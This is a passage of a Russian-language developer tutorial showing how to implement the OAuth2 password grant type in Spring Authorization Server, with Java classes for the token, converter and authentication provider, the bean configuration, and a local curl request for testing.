\u0437\u0430\u043b\u0435\u0437\u0435\u043c \u0432 \u043a\u043b\u0430\u0441\u0441 <a href=\"https:\/\/github.com\/spring-projects\/spring-authorization-server\/blob\/main\/oauth2-authorization-server\/src\/main\/java\/org\/springframework\/security\/oauth2\/server\/authorization\/config\/annotation\/web\/configurers\/OAuth2TokenEndpointConfigurer.java\" rel=\"noopener noreferrer nofollow\"><code>OAuth2TokenEndpointConfigurer<\/code><\/a> \u0438 \u0438\u0437\u0443\u0447\u0438\u043c \u043a\u0430\u043a \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 grant type.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/040\/b5e\/d18\/040b5ed181e3ea614a58e3901f6477f6.png\" alt=\"OAuth2TokenEndpointConfigurer.java\" title=\"OAuth2TokenEndpointConfigurer.java\" width=\"1200\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/040\/b5e\/d18\/040b5ed181e3ea614a58e3901f6477f6.png\"\/><\/p>\n<div><figcaption>OAuth2TokenEndpointConfigurer.java<\/figcaption><\/div>\n<\/figure>\n<p>\u0412\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0437\u0443\u0447\u0438\u0432 \u0435\u0433\u043e, \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u043c \u043a \u0432\u044b\u0432\u043e\u0434\u0443, \u0447\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e grant type \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 3 \u0432\u0435\u0449\u0435\u0439:<\/p>\n<ol>\n<li>\n<p><code>AuthenticationConverter<\/code> &#8212; \u043d\u0443\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u0435\u0442 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0432 \u043d\u0435\u043a\u0438\u0439 AuthenticationToken.<\/p>\n<\/li>\n<li>\n<p><code>OAuth2AuthorizationGrantAuthenticationToken<\/code> &#8212; \u043d\u0443\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430. \u0418\u043c\u0435\u043d\u043d\u043e \u0435\u0433\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0435\u0440, \u0438 \u0438\u043c\u0435\u043d\u043d\u043e \u0432 \u043d\u0451\u043c \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0432\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.<\/p>\n<\/li>\n<li>\n<p><code>AuthenticationProvider<\/code> &#8212; \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0441\u0430\u043c\u044b\u0439 \u0441\u043b\u043e\u0436\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u044d\u0442\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430. \u0412 \u043d\u0435\u0439 \u0438 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0442\u0438 \u0432\u0441\u044f \u043c\u0430\u0433\u0438\u044f.<\/p>\n<\/li>\n<\/ol>\n<p>\u0412\u044b \u0432\u0441\u0435\u0433\u0434\u0430 \u043c\u043e\u0436\u0435\u0442\u0435 \u0432\u0437\u044f\u0442\u044c \u0437\u0430 \u043e\u0441\u043d\u043e\u0432\u0443 \u043b\u044e\u0431\u043e\u0439 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u0434\u043b\u044f \u0432\u0430\u0448\u0438\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043a\u043b\u0430\u0441\u0441 \u0438\u0437 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043d\u0435\u0433\u043e \u0443\u0436\u0435 \u043f\u043e\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443. \u0422\u0430\u043a \u0441\u0434\u0435\u043b\u0430\u043b \u0438 \u044f.<\/p>\n<p>\u0421\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u043a\u043b\u0430\u0441\u0441, \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u044e\u0449\u0438\u0439 <code>OAuth2AuthorizationGrantAuthenticationToken<\/code>. \u0412 \u043d\u0451\u043c \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0434\u043b\u044f AuthenticationProvider: username, password, scopes.<\/p>\n<p><code><strong>OAuth2PasswordAuthenticationToken.java<\/strong><\/code><\/p>\n<pre><code class=\"java\"> @Getter public class OAuth2PasswordAuthenticationToken extends OAuth2AuthorizationGrantAuthenticationToken {      private final String username;     private final String password;     private final Set&lt;String> scopes;       protected OAuth2PasswordAuthenticationToken(             String username,             String password,             Set&lt;String> scopes,             AuthorizationGrantType authorizationGrantType,             Authentication clientPrincipal,             Map&lt;String, Object> additionalParameters     ) {         super(authorizationGrantType, clientPrincipal, additionalParameters);         this.username = username;         this.password = password;         this.scopes = scopes;     } } <\/code><\/pre>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0435\u0440. \u042f \u0437\u0430 \u043e\u0441\u043d\u043e\u0432\u0443 \u0432\u0437\u044f\u043b <code>OAuth2AuthorizationCodeAuthenticationConverter<\/code> \u0438 \u0441\u043e\u0437\u0434\u0430\u043b \u0441\u0432\u043e\u0439 <code>OAuth2PasswordAuthenticationConverter<\/code>, \u043f\u043e\u0437\u0430\u0438\u043c\u0441\u0442\u0432\u043e\u0432\u0430\u0432 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0437 \u043d\u0435\u0433\u043e.<\/p>\n<details class=\"spoiler\">\n<summary>OAuth2PasswordAuthenticationConverter.java<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"java\">public class OAuth2PasswordAuthenticationConverter implements AuthenticationConverter {      private final static String USERNAME_PARAM = \"username\";     private final static String PASSWORD_PARAM = \"password\";      @Override     public Authentication convert(HttpServletRequest request) {         MultiValueMap&lt;String, String> parameters = this.getFormParameters(request);          \/\/ \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 grant_type         String grantType = parameters.getFirst(OAuth2ParameterNames.GRANT_TYPE);         if (!AuthorizationGrantType.PASSWORD.getValue().equals(grantType)) {             return null;         }          Authentication clientPrincipal = SecurityContextHolder.getContext().getAuthentication();          \/\/ \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 username \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u0430         String username = parameters.getFirst(USERNAME_PARAM);         if (!StringUtils.hasText(username) || parameters.get(USERNAME_PARAM).size() != 1) {             this.throwError(OAuth2ErrorCodes.INVALID_REQUEST, USERNAME_PARAM, ACCESS_TOKEN_REQUEST_ERROR_URI);         }          \/\/ \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 password \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u0430         String password = parameters.getFirst(PASSWORD_PARAM);         if (!StringUtils.hasText(password) || parameters.get(PASSWORD_PARAM).size() != 1) {             this.throwError(OAuth2ErrorCodes.INVALID_REQUEST, PASSWORD_PARAM, ACCESS_TOKEN_REQUEST_ERROR_URI);         }          \/\/ \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 scope \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u0430         String scope = parameters.getFirst(OAuth2ParameterNames.SCOPE);         if (StringUtils.hasText(scope) &amp;&amp; parameters.get(OAuth2ParameterNames.SCOPE).size() != 1) {             this.throwError(                     OAuth2ErrorCodes.INVALID_REQUEST,                     OAuth2ParameterNames.SCOPE,                     ACCESS_TOKEN_REQUEST_ERROR_URI             );         }         Set&lt;String> requestedScopes = null;         if (StringUtils.hasText(scope)) {             requestedScopes = new HashSet&lt;>(Arrays.asList(StringUtils.delimitedListToStringArray(scope, \" \")));         }          \/\/ \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0435\u0441\u043b\u0438 \u0442\u0430\u043a\u0438\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442         Map&lt;String, Object> additionalParameters = new HashMap&lt;>();         parameters.forEach((key, value) -> {             if (!key.equals(OAuth2ParameterNames.GRANT_TYPE) &amp;&amp;                     !key.equals(USERNAME_PARAM) &amp;&amp;                     !key.equals(PASSWORD_PARAM) &amp;&amp;                     !key.equals(OAuth2ParameterNames.SCOPE)             ) {                 additionalParameters.put(key, (value.size() == 1) ? value.get(0) : value.toArray(new String[0]));             }         });          return new OAuth2PasswordAuthenticationToken(                 username,                 password,                 requestedScopes,                 AuthorizationGrantType.PASSWORD,                 clientPrincipal,                 additionalParameters         );     }      \/\/...... } <\/code><\/pre>\n<\/div>\n<\/details>\n<p>\u0421\u0430\u043c\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u043e\u0434\u0430 <code>Authentication convert(HttpServletRequest request)<\/code> \u043d\u0435 \u0441\u043b\u043e\u0436\u043d\u0430\u044f. \u041d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438 \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043d\u0438\u0445 \u043e\u0431\u044a\u0435\u043a\u0442 <code>OAuth2PasswordAuthenticationToken<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442 \u044d\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 AuthenticationProvider.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e <code>AuthenticationProvider<\/code>. \u041d\u0430\u0437\u043e\u0432\u0451\u043c \u0435\u0451 <code>OAuth2PasswordTokenAuthenticationProvider<\/code>.<\/p>\n<details class=\"spoiler\">\n<summary>OAuth2PasswordTokenAuthenticationProvider.java<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"java\"> @Slf4j @RequiredArgsConstructor public class OAuth2PasswordTokenAuthenticationProvider implements AuthenticationProvider {      private final OAuth2AuthorizationService authorizationService;     private final OAuth2TokenGenerator&lt;? extends OAuth2Token> tokenGenerator;     private final AuthenticationManager authenticationManager;      @Override     public Authentication authenticate(Authentication authentication) throws AuthenticationException {         OAuth2PasswordAuthenticationToken passwordAuthentication = (OAuth2PasswordAuthenticationToken) authentication;          \/\/ \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b         OAuth2ClientAuthenticationToken clientPrincipal = getAuthenticatedClient(passwordAuthentication);         RegisteredClient registeredClient = clientPrincipal.getRegisteredClient();          if (registeredClient == null) {             throw new OAuth2AuthenticationException(OAuth2ErrorCodes.INVALID_CLIENT);         }          \/\/ \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f         Authentication userAuthentication = this.authenticationManager.authenticate(                 new UsernamePasswordAuthenticationToken(                         passwordAuthentication.getUsername(),                         passwordAuthentication.getPassword()                 )         );          \/\/ \u0421\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u043e\u0431\u044a\u0435\u043a\u0442 OAuth2Authorization, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u0432 Redis         \/\/ \u041d\u0430 \u044d\u0442\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u043e\u0431\u044a\u0435\u043a\u0442 \u0435\u0449\u0451 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u044b\u043c \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0441\u043f\u0435\u0446. \u0441\u043f\u0438\u0441\u043e\u043a. \u0421\u043c\u043e\u0442\u0440\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 RedisOAuth2AuthorizationService         OAuth2Authorization authorization = OAuth2Authorization.withRegisteredClient(registeredClient)                 .id(UUID.randomUUID().toString())                 .principalName(passwordAuthentication.getUsername())                 .authorizationGrantType(AuthorizationGrantType.PASSWORD)                 .authorizedScopes(passwordAuthentication.getScopes())                 .attribute(Principal.class.getName(), userAuthentication)                 .build();         this.authorizationService.save(authorization);          \/\/ \u0434\u043b\u044f \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u043e\u0441\u0442\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0431\u044b\u043b\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f principal         Authentication principal = authorization.getAttribute(Principal.class.getName());         DefaultOAuth2TokenContext.Builder tokenContextBuilder = DefaultOAuth2TokenContext.builder()                 .registeredClient(registeredClient)                 .principal(principal)                 .authorizationServerContext(AuthorizationServerContextHolder.getContext())                 .authorization(authorization)                 .authorizedScopes(authorization.getAuthorizedScopes())                 .authorizationGrantType(AuthorizationGrantType.PASSWORD)                 .authorizationGrant(passwordAuthentication);          OAuth2Authorization.Builder authorizationBuilder = OAuth2Authorization.from(authorization);          \/\/ \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u043c \u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u0432 \u0431\u0438\u043b\u0434\u0435\u0440 access token         OAuth2AccessToken accessToken = this.generateAndSetAccessToken(tokenContextBuilder, authorizationBuilder);          \/\/ \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u043c refresh token         OAuth2RefreshToken refreshToken = null;         if (registeredClient.getAuthorizationGrantTypes().contains(AuthorizationGrantType.REFRESH_TOKEN)) {             refreshToken = this.generateAndSetRefreshToken(tokenContextBuilder, authorizationBuilder);         }          \/\/ \u0421\u0442\u0440\u043e\u0438\u043c \u043d\u043e\u0432\u044b\u0439 \u043e\u0431\u044a\u0435\u043a\u0442 OAuth2Authorization \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0435\u0433\u043e.         \/\/ \u041d\u0430 \u044d\u0442\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u043e\u043d \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u044b\u043c (\u0441\u043c\u043e\u0442\u0440\u0438 RedisOAuth2AuthorizationService)         authorization = authorizationBuilder.build();         this.authorizationService.save(authorization);          log.debug(\"Saved authorization\");          return new OAuth2AccessTokenAuthenticationToken(                 registeredClient,                 clientPrincipal,                 accessToken,                 refreshToken,                 Collections.emptyMap()         );     }      \/\/ .... } <\/code><\/pre>\n<\/div>\n<\/details>\n<p>\u0414\u043b\u044f \u0435\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f:<\/p>\n<ol>\n<li>\n<p><code>OAuth2AuthorizationService<\/code> &#8212; \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0448\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f <code>RedisOAuth2AuthorizationConsentService<\/code>. \u041d\u0443\u0436\u043d\u0430 \u0434\u043b\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0431 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.<\/p>\n<\/li>\n<li>\n<p><code>OAuth2TokenGenerator&lt;? extends OAuth2Token><\/code> &#8212; \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 \u0442\u043e\u043a\u0435\u043d\u043e\u0432.<\/p>\n<\/li>\n<li>\n<p><code>AuthenticationManager<\/code> &#8212; \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<\/li>\n<\/ol>\n<p>\u0411\u0438\u043d \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043f\u0443\u043d\u043a\u0442\u0430 \u043c\u044b \u0443\u0436\u0435 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b\u0438. \u041d\u0443\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0434\u0432\u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0431\u0438\u043d\u0430. \u0411\u0438\u043d \u0434\u043b\u044f AuthenticationManager \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c:<\/p>\n<p><code><strong>SecurityConfigUtilities.java<\/strong><\/code><\/p>\n<pre><code class=\"java\">public class SecurityConfigUtilities {     \/\/.....      @Bean     public AuthenticationManager authenticationManager(             AuthenticationConfiguration authenticationConfiguration     ) throws Exception {         return authenticationConfiguration.getAuthenticationManager();     }      \/\/..... } <\/code><\/pre>\n<p>\u041a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0431\u0438\u043d \u0434\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430? \u041f\u043e\u043d\u044f\u0442\u044c \u044d\u0442\u043e, \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0442\u043e\u0440 <code>OAuth2TokenEndpointConfigurer<\/code>. \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430 \u043c\u0435\u0442\u043e\u0434 <code>createDefaultAuthenticationProviders()<\/code>. \u0422\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u0441\u0442\u0440\u043e\u0447\u043a\u0443 <code>OAuth2ConfigurerUtils.getTokenGenerator(httpSecurity)<\/code>. \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430 \u0432\u0441\u0451 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u043c.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/200\/d20\/9c0\/200d209c0d727a53f435c8b48ec43e2b.png\" alt=\"OAuth2ConfigurerUtils.java\" title=\"OAuth2ConfigurerUtils.java\" width=\"1200\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/200\/d20\/9c0\/200d209c0d727a53f435c8b48ec43e2b.png\"\/><\/p>\n<div><figcaption>OAuth2ConfigurerUtils.java<\/figcaption><\/div>\n<\/figure>\n<p>\u0414\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e <code>OAuth2AccessTokenGenerator<\/code> \u0438 <code>OAuth2RefreshTokenGenerator<\/code>. \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0431\u0438\u043d:<\/p>\n<p><code><strong>SecurityConfigUtilities.java<\/strong><\/code><\/p>\n<pre><code class=\"java\">public class SecurityConfigUtilities {     \/\/.....      @Bean     public OAuth2TokenGenerator&lt;? extends OAuth2Token> oAuth2TokenGenerator() {         OAuth2AccessTokenGenerator accessTokenGenerator = new OAuth2AccessTokenGenerator();         OAuth2RefreshTokenGenerator refreshTokenGenerator = new OAuth2RefreshTokenGenerator();         return new DelegatingOAuth2TokenGenerator(accessTokenGenerator, refreshTokenGenerator);     }      \/\/..... } <\/code><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0432\u0441\u0451 \u044d\u0442\u043e \u0441\u043e\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0432\u043e\u0435\u0434\u0438\u043d\u043e \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0442\u043e\u0440\u0435 <code>OAuth2TokenEndpointConfigurer<\/code>. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u043c <code>AuthorizationServerConfig<\/code> \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<p><code><strong>AuthorizationServerConfig.java<\/strong><\/code><\/p>\n<pre><code class=\"java\">public class AuthorizationServerConfig {      \/\/ .....     private final OAuth2AuthorizationService authorizationService;     private final OAuth2TokenGenerator&lt;? extends OAuth2Token> tokenGenerator;     private final AuthenticationManager authenticationManager;      @Order(Ordered.HIGHEST_PRECEDENCE)     public SecurityFilterChain authServerSecurityFilterChain(HttpSecurity http) throws Exception {         OAuth2AuthorizationServerConfigurer authorizationServerConfigurer = new OAuth2AuthorizationServerConfigurer();         authorizationServerConfigurer.tokenIntrospectionEndpoint((config) -> {             config.introspectionResponseHandler(introspectionService::introspectionResponse);         });          \/\/ \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043c OAuth2TokenEndpointConfigurer. \u0414\u043e\u0431\u0430\u0432\u0438\u043c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 password grant type         authorizationServerConfigurer.tokenEndpoint(customizer -> {             customizer.accessTokenRequestConverter(new OAuth2PasswordAuthenticationConverter());             customizer.authenticationProvider(new OAuth2PasswordTokenAuthenticationProvider(                     authorizationService,                     tokenGenerator,                     authenticationManager             ));         });          \/\/ ....     }      \/\/ .... } <\/code><\/pre>\n<p>\u041d\u0430 \u044d\u0442\u043e\u043c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e grant type \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u043e. \u041c\u043e\u0436\u043d\u043e \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u0442\u044c \u043a \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e. \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441:<\/p>\n<pre><code>curl --location 'http:\/\/127.0.0.1:7777\/oauth2\/token' \\ --header 'Authorization: Basic dGVzdC1jbGllbnQ6dGVzdC1jbGllbnQ=' \\ --form 'grant_type=\"password\"' \\ --form 'username=\"admin@example.com\"' \\ --form 'password=\"admin@example.com\"' <\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0435 access \u0438 refresh \u0442\u043e\u043a\u0435\u043d\u044b.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/a50\/4a7\/94c\/a504a794cef509a359126788a8f682db.png\" alt=\"\u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0441 grant_type=password\" title=\"\u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0441 grant_type=password\" width=\"1200\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/a50\/4a7\/94c\/a504a794cef509a359126788a8f682db.png\"\/><\/p>\n<div><figcaption>\u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0441 grant_type=password<\/figcaption><\/div>\n<\/figure>\n<p>\u0414\u043b\u044f \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0430\u043c\u0438 \u0434\u0430\u043d\u043d\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044f \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u0432 test-client 